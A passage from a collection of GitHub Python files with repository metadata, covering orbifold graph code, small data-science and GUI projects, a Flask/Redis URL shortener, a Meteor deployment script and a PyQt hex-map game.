Graph()\n\tgraph.Vertices = graph_vertices\n\t# The rest of the function is about deciding what edges to make and what\n\t# their labels should be.\n\t# First we make the edges connected to the tet vertices.\n\tfor tet in orb.Tetrahedra:\n\t\tvertex1 = class_to_graph_vertex[tet]\n\t\tskip = []\n\t\tfor zero_subsimplex in ZeroSubsimplices:\n\t\t\tif zero_subsimplex not in skip:\n\t\t\t\tfor sym in tet.Symmetries:\n\t\t\t\t\tskip.append(sym.image(zero_subsimplex))\n\t\t\t\tvertex2 = class_to_graph_vertex[tet.Class[zero_subsimplex]]\n\t\t\t\tif tet.non_trivial_sym_fixing(zero_subsimplex):\n\t\t\t\t\tgraph.make_edge(vertex1,vertex2,3)\n\t\t\t\telse:\n\t\t\t\t\tgraph.make_edge(vertex1,vertex2,1)\n\t\tskip = []\n\t\tfor one_subsimplex in OneSubsimplices:\n\t\t\tif one_subsimplex not in skip:\n\t\t\t\tfor sym in tet.Symmetries:\n\t\t\t\t\tskip.append(sym.image(one_subsimplex))\n\t\t\t\tvertex2 = class_to_graph_vertex[tet.Class[one_subsimplex]]\n\t\t\t\tif tet.non_trivial_sym_fixing(one_subsimplex):\n\t\t\t\t\tgraph.make_edge(vertex1,vertex2,2)\n\t\t\t\telse:\n\t\t\t\t\tgraph.make_edge(vertex1,vertex2,1)\n\t\tskip = []\n\t\tfor two_subsimplex in TwoSubsimplices:\n\t\t\tif two_subsimplex not in skip:\n\t\t\t\tfor sym in tet.Symmetries:\n\t\t\t\t\tskip.append(sym.image(two_subsimplex))\n\t\t\t\tvertex2 = class_to_graph_vertex[tet.Class[two_subsimplex]]\n\t\t\t\tif tet.non_trivial_sym_fixing(two_subsimplex):\n\t\t\t\t\tgraph.make_edge(vertex1,vertex2,3)\n\t\t\t\telse:\n\t\t\t\t\tgraph.make_edge(vertex1,vertex2,1)\n\t# Now we make edges connecting face vertices to edge and vertex vertices.\n\tfor face in orb.Faces:\n\t\tvertex1 = class_to_graph_vertex[face]\n\t\tcorner = face.get_glued_corner()\n\t\ttet = corner.Tetrahedron\n\t\ttwo_subsimplex = corner.Subsimplex\n\t\t# Record the face symmetries.\n\t\tface_syms = []\n\t\tfor sym in tet.Symmetries:\n\t\t\tif sym.image(two_subsimplex) == two_subsimplex:\n\t\t\t\tface_syms.append(sym)\n\t\tif tet.face_glued_to_self(two_subsimplex):\n\t\t\tperm = tet.Gluing[two_subsimplex]\n\t\t\textra_syms = [perm*sym for sym in face_syms]\n\t\t\tface_syms = face_syms + extra_syms\n\t\tskip = []\n\t\tfor zero_subsimplex in ZeroSubsimplices:\n\t\t\tif is_subset(zero_subsimplex,two_subsimplex) and zero_subsimplex not in skip:\n\t\t\t\tfor sym in face_syms:\n\t\t\t\t\tskip.append(sym.image(zero_subsimplex))\n\t\t\t\tvertex2 = class_to_graph_vertex[tet.Class[zero_subsimplex]]\n\t\t\t\tfor sym in face_syms:\n\t\t\t\t\tif sym.image(zero_subsimplex) == zero_subsimplex and sym.tuple() != (0,1,2,3):\n\t\t\t\t\t\tgraph.make_edge(vertex1,vertex2,2)\n\t\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tgraph.make_edge(vertex1,vertex2,1)\n\t\tskip = []\n\t\tfor one_subsimplex in OneSubsimplices:\n\t\t\tif is_subset(one_subsimplex,two_subsimplex) and one_subsimplex not in skip:\n\t\t\t\tfor sym in face_syms:\n\t\t\t\t\tskip.append(sym.image(one_subsimplex))\n\t\t\t\tvertex2 = class_to_graph_vertex[tet.Class[one_subsimplex]]\n\t\t\t\tfor sym in face_syms:\n\t\t\t\t\tif sym.image(one_subsimplex) == one_subsimplex and sym.tuple() != (0,1,2,3):\n\t\t\t\t\t\tgraph.make_edge(vertex1,vertex2,2)\n\t\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tgraph.make_edge(vertex1,vertex2,1)\n\t# Now connect edge vertices to vertex vertices.\n\tfor edge in orb.Edges:\n\t\tvertex1 = class_to_graph_vertex[edge]\n\t\t# An edge either has a reflectional symmetry or no symmetry. It has the symmetry\n\t\t# if it's mapped nontrivially to itself by an order 2 sym of some tet or a face\n\t\t# being glued to itself. edge.has_symmetry() determines if this is the case.\n\t\tone_subsimplex = edge.Corners[0].Subsimplex\n\t\ttet = edge.Corners[0].Tetrahedron\n\t\tfor zero_subsimplex in ZeroSubsimplices:\n\t\t\tif is_subset(zero_subsimplex,one_subsimplex):\n\t\t\t\tvertex2 = class_to_graph_vertex[tet.Class[zero_subsimplex]]\n\t\t\t\tgraph.make_edge(vertex1,vertex2,edge.LocusOrder)\n\t\t\t\tif edge.has_symmetry():\n\t\t\t\t\t# In this case we want to stop the for loop, we only want to make\n\t\t\t\t\t# one new graph edge.\n\t\t\t\t\tbreak\n\tfor i in range(len(graph.Vertices)):\n\t\tgraph.Vertices[i].Index = i\n\tfor i in range(len(graph.Edges)):\n\t\tgraph.Edges[i].Index = i\n\treturn graph\n\n\"\"\"\nGiven a simplicial orbifold \"orb\", return its singular locus. First it gets the barycentric\ngraph, then it turns that into the singular locus.\n\"\"\"\ndef singular_locus(orb):\n\tgraph = barycentric_graph(orb)\n\tedges_list = [ edge for edge in graph.Edges ]\n\tfor edge in edges_list:\n\t\tif edge.LocusOrder == 1:\n\t\t\tgraph.delete_edge(edge)\n\tvertex_list = [ vertex for vertex in graph.Vertices]\n\tfor vertex in vertex_list:\n\t\tif len(vertex.Edges) == 0:\n\t\t\tgraph.delete_vertex(vertex)\n\t\tgraph.attempt_remove_valence_2_vertex(vertex)\n\treturn graph\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\t\t\t\n","repo_name":"Mark-Fincher/Canonical_Decomposition","sub_path":"singular_locus.py","file_name":"singular_locus.py","file_ext":"py","file_size_in_byte":6720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"5529400943","text":"import numpy as np\n\n# spectrum of TOD\n# 1/f noise fit\n\ndef tod_fft(data, clk=200e6, Nds=100000):\n Fs = clk / Nds # sampling frequency\n dt = 1/Fs\n N = data.size\n freq = np.fft.fftfreq(N, d=dt)\n\n dataf = np.fft.fft(data)\n \n return freq, dataf\n\nif __name__=='__main__':\n test_todfft() \n","repo_name":"railroad2/GBpipe","sub_path":"GBtodana.py","file_name":"GBtodana.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"15980588864","text":"import streamlit as st\nimport random\n\noption = st.radio(\n 'What would you like to be the limit',\n (2, 5, 10, 20, 50, 100, 500, 1000))\n\nlimit = st.number_input('Select your guess', min_value = 0, max_value = option, value= 0)\nnum = random.randint(0, option)\n\nif st.button('Done'):\n if num == int(limit):\n st.success('Congrats, you got it correct!')\n else:\n st.error(f'Your Number was {limit}, but the Program guessed {num}')\n","repo_name":"AhmedRaza0609/guessing","sub_path":"guesser.py","file_name":"guesser.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"41706912270","text":"#-*- coding: utf-8 -*-\n\nimport xlrd\nimport xlwt\nimport re\n\n# 检查是否满足报考条件\ndef check(row_value):\n zy = row_value[11]\n if not checkZY(zy):\n return False\n\n xw = row_value[13]\n if not checkXW(xw):\n return False\n\n if checkSpecial(row_value):\n return False\n\n return True\n\n# 检查是否满足专业要求\ndef checkZY(value):\n pat = re.compile(u'不限|限制|生物工程|化工')\n if re.search(pat, value):\n return True\n\n return False\n\n# 检查是否满足学位要求\ndef checkXW(value):\n pat = re.compile(u'学士|不|无')\n if re.search(pat, value):\n return True\n\n return False\n\n# 减产是否需要满足特殊要求\ndef checkSpecial(row_value):\n pat = re.compile(u'是')\n for i in range(16, 19):\n value = row_value[i]\n if re.search(pat, value):\n return True\n\n return False\n\n# 根据条件筛选出职位\ndef filterTitle():\n data = xlrd.open_workbook('gjgwy.xls')\n output = xlwt.Workbook(encoding='utf-8')\n\n for sheet in data.sheets():\n output_sheet = output.add_sheet(sheet.name)\n output_row = 1\n for row in range(sheet.nrows):\n row_value = sheet.row_values(row)\n if len(row_value) < 11:\n continue\n\n choosed = True\n if row != 2 and not check(row_value):\n choosed = False\n\n if choosed == True:\n for col in range(sheet.ncols):\n output_sheet.row(output_row).write(col, sheet.cell(row,col).value)\n\n output_sheet.flush_row_data()\n output_row += 1\n\n output.save('output.xls')\n\nif __name__ == '__main__':\n filterTitle()\n","repo_name":"luckykiddie/quick-and-dirty","sub_path":"python/gjgwy/gjgwy.py","file_name":"gjgwy.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"22088903674","text":"import numpy as np\nfrom dezero import Variable\nimport dezero.functions as F\n\n# dataset\nnp.random.seed(0)\nx = np.random.rand(100, 1)\ny = np.sin(2 * np.pi * x) + np.random.rand(100, 1)\n\n# initialize weight\nI, H, D = 1, 10, 1\nW1 = Variable(0.01 * np.random.randn(I, H))\nb1 = Variable(np.zeros(H))\nW2 = Variable(0.01 * np.random.randn(H, D))\nb2 = Variable(np.zeros(D))\n\n# inference\ndef predict(x):\n y = F.linear_simple(x, W1, b1)\n y = F.sigmoid_simple(y)\n y = F.linear(y, W2, b2)\n return y\n\nlr = 0.2\niters = 10000\n\n# training\nfor i in range(iters):\n y_pred = predict(x)\n loss = F.mean_squared_error(y, y_pred)\n\n W1.clear_grad()\n b1.clear_grad()\n W2.clear_grad()\n b2.clear_grad()\n loss.backward()\n\n W1.data -= lr * W1.grad.data\n b1.data -= lr * b1.grad.data\n W2.data -= lr * W2.grad.data\n b2.data -= lr * b2.grad.data\n\n if i % 1000 == 0:\n print(loss)\n\nsorted_x = x.copy()\nsorted_x.sort(axis=0)\npreds = predict(sorted_x)\nu\nsorted_x = sorted_x.squeeze()\npreds = preds.data.squeeze()\n\nimport matplotlib.pyplot as plt\n\nplt.scatter(x, y)\nplt.plot(sorted_x, preds, color='red')\nplt.show()\n","repo_name":"rrbb014/rrbb-playground","sub_path":"ml/from-scratch-3/step43.py","file_name":"step43.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"19099966665","text":"# Graph representation: directed weighted graph on matrix adjacency\r\n\r\n# compelxity:\r\n# - time O(V^3)\r\n# - space O(V^2)\r\n\r\n\r\ndef get_path(paths, u, v):\r\n path = []\r\n if v is not None:\r\n path.append(v)\r\n path.extend(get_path(paths, u, paths[u][v]))\r\n return path\r\n\r\n\r\n# copy of Floyd Warshall alg.\r\ndef Floyd_Warshall(graph, n):\r\n distances = [[0 if u == v else float(\r\n \"inf\") if graph[u][v] == 0 else graph[u][v] for v in range(n)] for u in range(n)]\r\n paths = [[None if u == v else u if graph[u][v] !=\r\n 0 else None for v in range(n)] for u in range(n)]\r\n for k in range(n):\r\n for u in range(n):\r\n for v in range(n):\r\n if distances[u][v] > distances[u][k] + distances[k][v]:\r\n distances[u][v] = distances[u][k] + distances[k][v]\r\n paths[u][v] = paths[k][v]\r\n return distances, paths\r\n\r\n\r\ndef min_cycle(graph):\r\n n = len(graph)\r\n distances, paths = Floyd_Warshall(graph, n)\r\n # each edge\r\n a, b, min_cycle_weight = 0, 0, float(\"inf\")\r\n for u in range(n-1):\r\n for v in range(u+1, n):\r\n if distances[u][v] + distances[v][u] < min_cycle_weight:\r\n a, b, min_cycle_weight = u, v, distances[u][v] + \\\r\n distances[v][u]\r\n a_b_path = list(reversed(get_path(paths, a, b)))\r\n # to not return in path same vertex\r\n a_b_path.pop()\r\n b_a_path = list(reversed(get_path(paths, b, a)))\r\n if min_cycle_weight == float(\"inf\"):\r\n return\r\n else:\r\n # returning minimal cycle with path of it\r\n return min_cycle_weight, a_b_path + b_a_path\r\n\r\n\r\ngraph = [\r\n [0, 0, 7, 0],\r\n [5, 0, 0, 0],\r\n [0, 0, 0, 6],\r\n [0, 3, 0, 0],\r\n]\r\n\r\nprint(min_cycle(graph))\r\n","repo_name":"HITOfficial/College","sub_path":"ASD/graph_templates/minimal_cycle_Floyd_Warshall_weight_directed_graph_matrix_adjacency.py","file_name":"minimal_cycle_Floyd_Warshall_weight_directed_graph_matrix_adjacency.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"41200199747","text":"import math\n\nimport numpy as np\n\nfrom numeric_methods import secant_method\n\n\ndef load_distr_cyl_rol_bear(phis, number_rollers, length_roller, res_x,\n combined_profile, roller_axis, radial_clearance,\n radial_load):\n \"\"\"Caclulate the load distribution in a cylindrical roller bearing\n according to standard DIN 26281\"\"\"\n cl = 35948 * math.pow(length_roller, (8 / 9))\n cs = cl / res_x\n x_axis = abs(roller_axis)\n cos_phi = list((math.cos(phi) for phi in phis))\n\n delta_r = radial_clearance * 4 + 0.000000001\n delta_f = 20\n sum_re_ns = np.zeros(number_rollers)\n psi_j = np.zeros(number_rollers)\n delta_j = np.zeros(number_rollers)\n sum_mns = np.zeros(number_rollers)\n delta_jk = np.zeros((number_rollers, res_x))\n delta_re = np.zeros(number_rollers)\n x_value = []\n fx_value = []\n radial_load = radial_load or 0.000000001\n\n while abs(delta_f) > 0.0005 * radial_load:\n sum_zwk = 0\n delta_re = np.zeros(number_rollers)\n for z in range(number_rollers):\n sum_re_ns[z] = 0\n sum_mns[z] = 0\n delta_j[z] = delta_r * cos_phi[z] - radial_clearance / 2\n for n in range(0, res_x):\n delta_jk[z, n] = max((delta_j[z] - x_axis[n] * math.tan(\n psi_j[z]) - 2 * combined_profile[n]), 0)\n sum_re_ns[z] += math.pow(delta_jk[z, n], (10 / 9))\n delta_re[z] = cos_phi[z] * sum_re_ns[z]\n sum_zwk += delta_re[z]\n delta_f = abs(radial_load - cs * sum_zwk)\n x_value = np.append(x_value, [delta_r])\n fx_value = np.append(fx_value, [delta_f])\n delta_r = secant_method(x_value, fx_value)\n\n roller_normal_forces = sum_re_ns * cs\n return roller_normal_forces, delta_re\n","repo_name":"moritzploss/tribology","sub_path":"tribology/p3can/load_distr_cyl_rol_bear.py","file_name":"load_distr_cyl_rol_bear.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"44"} +{"seq_id":"31860737729","text":"def is_eligible(age,citizenship,prison):\n '''(int,str,str) -> bool\nreturns \"True\" if the person is eligible to vote and \"False\" if they are not\neligible to vote.'''\n if age >=18 and citizenship == \"Yes\" or \"YES\" and prison== \"No\" or \"no\":\n return True\n else:\n return False\n\n \n\n\n\n\n\nname=input(\"What is your name ? \")\nage= int(input(\"What is your age ? \"))\ncitizenship= input(\"Are you a Canadian citizen ? \")\nprison= input(\"Are you currently serving time in prison ? \")\n\n\n\nif is_eligible(age,citizenship,prison):\n print(name, \", you are eligible to vote\")\nelse:\n print(name, \", you are ineligible to vote\")\n","repo_name":"MokahalA/ITI1120","sub_path":"Lab 4 Work/lab4ex1.py","file_name":"lab4ex1.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"70847272133","text":"# -*- coding: utf-8 -*-\n\nfrom tkinter import StringVar,Frame,Label,Button,Entry,W,E\nfrom tkinter.messagebox import showerror\n\nfrom tkinter_test.a_v2_demo.MainPage import MainPage\nfrom tkinter_test.a_v2_demo import constants\n\n\nclass LoginPage(object):\n\n def __init__(self, master=None):\n self.root = master # 定义内部变量root\n self.root.geometry('%dx%d' % (constants.PARAMS_WIDTH, constants.PARAMS_HEIGHT)) # 设置窗口大小\n self.p1 = StringVar(value=constants.PARAMS_1)\n self.p2 = StringVar(value=constants.PARAMS_2)\n self.p3 = StringVar(value=constants.PARAMS_3)\n self.p4 = StringVar(value=constants.PARAMS_4)\n self.create_page()\n\n def create_page(self):\n self.page = Frame(self.root) # 创建Frame\n self.page.pack()\n Label(self.page).grid(row=0, stick=W)\n\n Label(self.page, text='参数一: ').grid(row=1, stick=W, pady=10)\n Entry(self.page, textvariable=self.p1).grid(row=1, column=1, stick=E)\n\n Label(self.page, text='参数二: ').grid(row=2, stick=W, pady=10)\n Entry(self.page, textvariable=self.p2).grid(row=2, column=1, stick=E)\n\n Label(self.page, text='参数三: ').grid(row=3, stick=W, pady=10)\n Entry(self.page, textvariable=self.p3).grid(row=3, column=1, stick=E)\n\n Label(self.page, text='参数四: ').grid(row=4, stick=W, pady=10)\n Entry(self.page, textvariable=self.p4).grid(row=4, column=1, stick=E)\n\n Button(self.page, text='确认', command=self.login_check).grid(row=5, stick=W, pady=10)\n Button(self.page, text='退出', command=self.page.quit).grid(row=5, column=1, stick=E)\n\n def login_check(self):\n p1 = self.p1.get()\n p2 = self.p2.get()\n p3 = self.p3.get()\n p4 = self.p4.get()\n\n if not all((p1, p2, p3, p4)):\n # 弹出错误信息\n showerror(title='错误', message='必填参数')\n else:\n # 跳转下一个页面\n self.page.destroy()\n kwargs = {\n \"p1\":p1,\n \"p2\":p2,\n \"p3\":p3,\n \"p4\":p4,\n }\n MainPage(self.root, **kwargs)\n\n\n","repo_name":"cjwisme111/tkinter_test","sub_path":"a_v2_demo/LoginPage.py","file_name":"LoginPage.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"32358796515","text":"#!/usr/bin/python\n\n'''Public domain or something. Do what you want.\n- Max Kaye'''\n''' Minifier written with Flask and redis '''\n''' LaMbsFRy: Light Minifier Flask Redis '''\n\n# config\nlogfilename = 'lmfr.log'\ndbnum = 1\ndbPre = 'lmfr'\nsiteUrl = 'http://127.0.0.1:5000/'\n\n# import and init\nfrom flask import Flask\nfrom flask import request, render_template, redirect\napp = Flask(__name__)\n\nimport logging\nlog_handler = logging.FileHandler(logfilename)\nlog_handler.setLevel(logging.WARNING)\napp.logger.addHandler(log_handler)\n\nfrom Crypto.Hash import SHA256\nfrom binascii import hexlify\n\n# helpers\ndef sha256Hash(plaintext):\n\th = SHA256.new()\n\th.update(plaintext)\n\treturn h.digest()\n\t\n## from python-bitcoinlib\nb58_digits = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\ndef b58encode(b):\n n = int('0x0' + hexlify(b).decode('utf8'), 16)\n res = []\n while n > 0:\n n, r = divmod (n, 58)\n res.append(b58_digits[r])\n res = ''.join(res[::-1])\n czero = b'\\x00'\n pad = 0\n for c in b:\n if c == czero: pad += 1\n else: break\n return b58_digits[0] * pad + res\n\t\n# database\nclass Database:\n\tdef __init__(self):\n\t\timport redis\n\t\tself.r = redis.StrictRedis(host='localhost', port=6379, db=dbnum)\n\t\tself.dbPre = dbPre\n\tdef exists(self,toTest):\n\t\treturn self.r.exists('%s:%s' % (self.dbPre,toTest))\n\tdef set(self,toSet,value):\n\t\treturn self.r.set('%s:%s' % (self.dbPre,toSet),value)\n\tdef get(self,toGet):\n\t\treturn self.r.get('%s:%s' % (self.dbPre,toGet))\n\tdef rpush(self,toPush, value):\n\t\treturn self.r.rpush('%s:%s' % (self.dbPre,toPush), value)\n\tdef addSite(self, url):\n\t\turlHash = b58encode(sha256Hash(url))\n\t\tif self.exists('urlHashToFB:%s' % urlHash):\n\t\t\treturn self.get('urlHashToFB:%s' % urlHash)\n\t\tfor fbLen in range(1,len(urlHash)+1):\n\t\t\tif not self.exists('fbToUrlHash:%s' % urlHash[:fbLen]):\n\t\t\t\tfb = urlHash[:fbLen]\n\t\t\t\tself.set('urlHashToFB:%s' % urlHash, fb)\n\t\t\t\tself.set('urlHashToUrl:%s' % urlHash, url)\n\t\t\t\tself.set('fbToUrlHash:%s' % fb, urlHash)\n\t\t\t\tself.set('fbToUrl:%s' % fb, url)\n\t\t\t\tself.rpush('listOfHashs', urlHash)\n\t\t\t\treturn siteUrl + fb\n\t\treturn 'Error, no spare firstbits found :( -- that should not happen...'\t\t\n\tdef checkFb(self, fb):\n\t\treturn self.get('fbToUrl:%s' % fb) if self.exists('fbToUrl:%s' % fb) else False\n\n# routes\n@app.route(\"/\")\ndef lookup(fb):\n\turl = db.checkFb(fb)\n\treturn redirect(url) if url != False else '%s firstbits not found' % fb\n\n@app.route(\"/\",methods=[\"GET\",\"POST\"])\ndef main():\n\tif request.method == \"POST\":\n\t\turl = request.form['urlin']\n\t\tlink = db.addSite('http://' + url)\n\t\treturn render_template('result.html',url=url,link=link)\n\treturn render_template('index.html')\n\nif __name__ == \"__main__\":\n\tdb = Database()\n\tapp.run()\n","repo_name":"XertroV/lambsfry","sub_path":"lambsfry.py","file_name":"lambsfry.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"70546469253","text":"#!/usr/bin/env python3\n\nimport os\nimport subprocess\nimport paramiko\nimport argparse\nimport json\n\n# Manage the command line arguments\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-u', '--update', action='store_true', help='Update the application')\nparser.add_argument('-b', '--build', action='store_true', help='If true, build application before update. Defaults to true.')\nparser.add_argument('-f', '--file', help='Settings file')\n\nargs = parser.parse_args()\nif args.update:\n update = True\nelse:\n update = False\n\nif args.build:\n build = True\nelse:\n build = False\n\n# Read the settings from file\nwith open(args.file) as settings_file:\n settings = json.load(settings_file)\n\n# Set up some variables for improved legibility\n\nlocal = settings['local']\nserver = settings['server']\ndb = settings['db']\n\n##\n# Steps\n#\n# Build the app\n# Upload app at appropriate locations\n# Unpack\n# Install dependencies\n# Generate and upload the startup file\n# Run the application\n##\n\n# Build the app\n\ntemp_folder = os.path.expanduser('~/%s/%s_build' % (local['path'], local['app']))\n\nif build:\n cmds = [\n 'cd %s/%s' % (local['path'], local['app']),\n 'meteor build %s --architecture os.linux.x86_64 --server %s' % (temp_folder, server['url'])\n ]\n print('Building application...')\n output = subprocess.check_output(\";\".join(cmds), shell=True)\n print(output.decode(encoding='utf-8'))\n\n# Connect to server and upload the app built\n\nprint('Connecting to the server...')\nconn = paramiko.SSHClient()\nconn.set_missing_host_key_policy(paramiko.AutoAddPolicy())\nconn.connect(server['remote'], username=server['user'], password=server['password'])\nprint('Connection established!')\nprint('Starting SFTP session...')\nsftp = conn.open_sftp()\nprint('SFTP session open!')\nsftp.chdir('webapps/%s' % server['app'])\nprint('Start uploading app archive...')\nsftp.put('%s/%s.tar.gz' % (temp_folder, local['app']), '%s.tar.gz' % local['app'])\nprint('Upload done!')\n\n# Unpack\n\nprint('Extracting archive files...')\ncmds = [\n 'cd ~/webapps/%s' % server['app'],\n 'rm -rf bundle',\n 'tar -zxf %s.tar.gz' % local['app'],\n 'rm %s.tar.gz' % local['app']\n]\nsi, so, se = conn.exec_command(';'.join(cmds))\nprint(''.join(so.readlines()))\nprint('Files extracted!')\n\n# Install dependencies\n\nprint('Installing dependencies...')\ncmds = [\n 'cd ~/webapps/%s/bundle/programs/server' % server['app'],\n 'PATH=~/webapps/%s/bin/:$PATH' % server['app'],\n 'npm install --silent'\n]\nsi, so, se = conn.exec_command(';'.join(cmds))\nprint(''.join(so.readlines()))\nprint('Dependencies installed!')\n\n# Generate and upload the startup file\n\nif not update:\n print('Generate startup file...')\n base = '/home/%s/webapps/%s' % (server['user'], server['app'])\n lines = [\n '#!/bin/sh',\n 'mkdir -p %s/run' % base,\n 'export MONGO_URL=%s' % db['mongodb'],\n 'export ROOT_URL=%s' % server['url'],\n 'export PORT=%s' % server['port'],\n 'pid=$(/sbin/pidof %s/bin/node)' % base,\n 'if echo \"$pid\" | grep -q \" \"; then',\n ' pid=\"\"',\n 'fi',\n 'if [ -n \"$pid\" ]; then',\n ' user=$(ps -p $pid -o user:20 | tail -n 1)',\n ' if [ $user = \"gionas\" ]; then',\n ' exit(0)',\n ' fi',\n 'fi',\n 'nohup %s/bin/node %s/bundle/main.js > /dev/null 2>&1 &' % (base, base),\n '/sbin/pidof %s/bin/node > %s/run/node.pid' % (base, base)\n ]\n file = open('%s/start' % temp_folder, 'w')\n file.write('\\n'.join(lines))\n print('Remove the current start file...')\n cmds = [\n 'cd ~/webapps/%s/bin' % server['app'],\n 'rm start'\n ]\n si, so, se = conn.exec_command(';'.join(cmds))\n if not se:\n print('Start file removed!')\n else:\n print(''.join(se.readlines()))\n exit(1)\n print('Uploading new start file...')\n sftp.chdir('webapps/%s/bin' % server['app'])\n sftp.put('%s/start' % temp_folder)\n print('Start file uploaded!')\n\n# Start the application (if everything worked out fine)\n\nprint('(re)Starting the app...')\ncmds = [\n '~/webapps/%s/bin/stop' % server['app'],\n '~/webapps/%s/bin/start' % server['app']\n]\nsi, so, se = conn.exec_command(';'.join(cmds))\nprint('Meteor application started')\n\nconn.close()\nprint('All done! Good bye!')\n","repo_name":"igio/webfaction-meteor","sub_path":"deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":4300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"44899821399","text":"# Liste des classes (dans l'ordre) :\r\n# Tile\r\n# GraphVillage\r\n# GraphVille\r\n# GraphArmee\r\n# Scene\r\n# TableauCarte\r\n# TableauRessources\r\n# ViewerCarte\r\n# Fenetre\r\n\r\n\r\n# /!\\ 2 systemes de coordonnees, cubique (x, y, z) pour le programme et pixel (x, y) pour l'affichange\r\n\r\n\r\nimport sys\r\nfrom PyQt5 import QtCore\r\nfrom PyQt5.QtGui import QPixmap, QCursor, QBrush, QColor\r\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QGraphicsItem, QGraphicsScene, QGraphicsView, QGraphicsRectItem, QGraphicsProxyWidget, QPushButton\r\nimport mss # Pour la classe Fenetre de test\r\n\r\n\r\nclass Tile (QGraphicsItem):\r\n \"Classe permettant de créer une tuile\"\r\n\r\n def __init__(self, posX, posY, tuile, viewer):\r\n QGraphicsItem.__init__(self)\r\n\r\n self.tuile = tuile\r\n self.x = (posX - posY + 1) * 173 / 2 - 50 # Coordonnees cubique a coordonnees pixel\r\n self.y = -(posX + posY) * 150 + 50\r\n self.posX = posX # Coordonnees cubique (z = -(x + y))\r\n self.posY = posY\r\n self.viewer = viewer\r\n self.ressource = [] # Tableau reprennant toutes les ressources presentes sur la case (1 : fer; 2 : or; 3 : marbre; 4 : charbon; 5 : betail sauvage; 6 : chevaux sauvages; 7 : bois; 8 : pieree)\r\n\r\n def boundingRect(self):\r\n return QtCore.QRectF(self.x, self.y, 173, 200)\r\n\r\n def paint(self, painter, option, widget=None):\r\n self.painter = painter\r\n if(self.tuile is None):\r\n return None\r\n painter.drawPixmap(QtCore.QPointF(self.x, self.y), self.tuile)\r\n\r\n def moveBy(self, dx, dy):\r\n self.x = self.x + dx # Coordonnees pixel\r\n self.y = self.y + dy\r\n\r\n # Fonction pour recuperer un clic\r\n def mousePressEvent(self, event):\r\n print(\"clic en \", (self.posX, self.posY))\r\n typeTuile = self.viewer.quelTuile(self.tuile)\r\n print(\"Le type est : \" + str(typeTuile))\r\n print(\"Les ressources sont : \" + str(self.ressource))\r\n return None\r\n\r\n\r\nclass GraphVillage(Tile):\r\n \"Classe servant a representer un village sur la carte avec un QGraphicsItem\"\r\n\r\n def __init__(self, posX, posY, village, tuile, fenetre):\r\n self.x = posX\r\n self.y = posY\r\n Tile.__init__(self, self.x, self.y, tuile, fenetre.viewer)\r\n self.village = village\r\n self.fenetre = fenetre\r\n\r\n def mousePressEvent(self, mouseEvent):\r\n print(\"Appui village\")\r\n if(self.fenetre.joueurEnCour != self.village.ville.joueur):\r\n self.village.changerVille(self.fenetre.joueurEnCour.listeVilles[0])\r\n return None\r\n self.village.clic()\r\n\r\n\r\nclass GraphVille(Tile):\r\n \"Classe servant a representer une ville sur la carte\"\r\n\r\n def __init__(self, posX, posY, ville, tuile, fenetre):\r\n self.x = posX\r\n self.y = posY\r\n Tile.__init__(self, self.x, self.y, tuile, fenetre.viewer)\r\n self.ville = ville\r\n self.fenetre = fenetre\r\n\r\n def mousePressEvent(self, mouseEvent):\r\n print(\"Appui ville\")\r\n if(self.fenetre.joueurEnCour != self.ville.joueur):\r\n return None\r\n self.ville.clic()\r\n\r\n\r\nclass GraphArmee(QGraphicsRectItem):\r\n \"Classe servant a representer une armee sur la carte\"\r\n\r\n def __init__(self, posX, posY, armee, parent):\r\n QGraphicsItem.__init__(self, parent)\r\n self.x = (posX - posY + 1) * 173 / 2 - 50\r\n self.y = -(posX + posY) * 150 + 50\r\n self.armee = armee\r\n self.setRect(self.x, self.y, 100, 100)\r\n self.setBrush(QBrush(QColor(255, 255, 255)))\r\n\r\n def mousePressEvent(self, mouseEvent):\r\n print(\"Appui armee\")\r\n\r\n def boundingRect(self):\r\n return QtCore.QRectF(self.x, self.y, 100, 100)\r\n\r\n\r\nclass Scene(QGraphicsScene):\r\n \"Classe servant a creer une scene\"\r\n\r\n def __init__(self):\r\n QGraphicsScene.__init__(self)\r\n self.x = 0\r\n self.y = 0\r\n self.posX = 0\r\n self.posY = 0\r\n self.a = 1\r\n\r\n def mouseMoveEvent(self, event):\r\n if(event.buttons() & QtCore.Qt.LeftButton and self.a == 1):\r\n self.a = 0\r\n self.posX = event.scenePos().x()\r\n self.posY = event.scenePos().y()\r\n self.a = 2\r\n elif(event.buttons() & QtCore.Qt.LeftButton and self.a == 2):\r\n self.a = 0\r\n self.x = self.x + (self.posX - event.scenePos().x()) * 2\r\n self.y = self.y + (self.posY - event.scenePos().y()) * 2\r\n self.setSceneRect(self.x, self.y, 1, 1)\r\n self.a = 1\r\n else:\r\n self.a = 1\r\n 